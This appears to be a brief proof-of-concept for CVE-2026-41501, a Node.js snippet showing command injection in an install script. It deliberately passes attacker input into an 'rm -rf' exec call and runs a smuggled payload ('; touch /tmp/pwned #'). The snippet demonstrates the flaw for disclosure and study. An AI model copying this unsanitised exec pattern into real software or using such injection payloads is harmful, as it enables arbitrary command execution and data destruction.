CVE-2026-41501

// Conceptual Proof of Concept for CVE-2026-41501 // This simulates the vulnerable behavior in install.js const { exec } = require('child_process'); /** * Vulnerable function simulation * @param {string} remoteVersion - Attacker controlled input */ function vulnerableRunLinux(remoteVersion) { // The vulnerability: Direct concatenation of user input into exec const command = `rm -rf ${remoteVersion}`; console.log(`Executing command: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } console.log(`Output: ${stdout}`); }); } // Exploit Scenario: // Attacker provides a malicious version string containing command injection payload. // Example payload: "; touch /tmp/pwned # const maliciousVersion = "some/path; touch /tmp/pwned #"; console.log("--- Simulating Attack ---"); vulnerableRunLinux(maliciousVersion); // Expected result: // The system will execute: rm -rf some/path; touch /tmp/pwned # // This creates a file named 'pwned' in /tmp, proving command execution.
